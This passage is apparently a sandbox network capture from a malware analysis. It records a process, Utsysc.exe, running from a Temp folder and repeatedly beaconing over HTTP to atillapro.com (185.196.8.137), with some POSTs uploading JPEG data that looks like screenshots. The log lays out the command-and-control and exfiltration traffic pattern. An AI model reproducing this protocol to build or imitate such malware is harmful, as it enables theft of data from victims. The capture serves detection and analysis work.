Apr 9, 2024 14:54:29.360411882 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:29.368242979 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:29.557317019 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49781	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:29.855865002 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:30.033289909 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:30.039908886 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:30.227963924 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49782	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:30.521167994 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:30.698474884 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:30.699074030 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:30.882761955 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49783	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:31.197781086 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:31.393116951 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:31.397406101 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:31.597955942 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49784	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:31.225461960 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----OTc5NzE= Host: atillapro.com Content-Length: 98123 Cache-Control: no-cache
Apr 9, 2024 14:54:31.225564957 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 54 63 35 4e 7a 45 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------OTc5NzE=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 9, 2024 14:54:31.225625038 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 9, 2024 14:54:31.225625038 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 9, 2024 14:54:31.225661039 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 9, 2024 14:54:31.225661993 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 9, 2024 14:54:31.225697041 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 9, 2024 14:54:31.225697041 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 9, 2024 14:54:31.225733042 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 9, 2024 14:54:31.225733042 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 9, 2024 14:54:31.225756884 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 9, 2024 14:54:32.534425974 CEST	147	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49785	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:31.922362089 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:32.101002932 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:32.102494955 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:32.293947935 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49786	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:32.593310118 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:32.770896912 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:32.774805069 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:32.956291914 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49787	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:32.971604109 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----OTc5NzE= Host: atillapro.com Content-Length: 98123 Cache-Control: no-cache
Apr 9, 2024 14:54:32.971734047 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 54 63 35 4e 7a 45 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------OTc5NzE=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 9, 2024 14:54:32.971786022 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 9, 2024 14:54:32.971810102 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 9, 2024 14:54:32.971841097 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 9, 2024 14:54:32.971841097 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 9, 2024 14:54:32.971868038 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 9, 2024 14:54:32.971887112 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 9, 2024 14:54:32.971918106 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 9, 2024 14:54:32.971918106 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 9, 2024 14:54:32.971945047 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 9, 2024 14:54:34.439883947 CEST	147	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49788	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:33.261060953 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:33.438883066 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:33.439466953 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:33.637356043 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49789	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:33.926685095 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:34.104263067 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:34.105158091 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:34.302201986 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49790	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:34.600487947 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:34.778429031 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:34.779272079 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:34.960705042 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49791	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:34.873428106 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----OTgyNDE= Host: atillapro.com Content-Length: 98393 Cache-Control: no-cache
Apr 9, 2024 14:54:34.873502016 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 54 67 79 4e 44 45 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------OTgyNDE=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 9, 2024 14:54:34.873559952 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 9, 2024 14:54:34.873586893 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 9, 2024 14:54:34.873599052 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 9, 2024 14:54:34.873625040 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 9, 2024 14:54:34.873642921 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 9, 2024 14:54:34.873667955 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 9, 2024 14:54:34.873684883 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 9, 2024 14:54:34.873712063 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 9, 2024 14:54:34.873737097 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 9, 2024 14:54:36.494780064 CEST	147	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49792	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:35.406397104 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:35.583956957 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:35.622972012 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:35.811791897 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49793	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:36.128334999 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:36.306250095 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:36.306972027 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:36.495840073 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49794	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
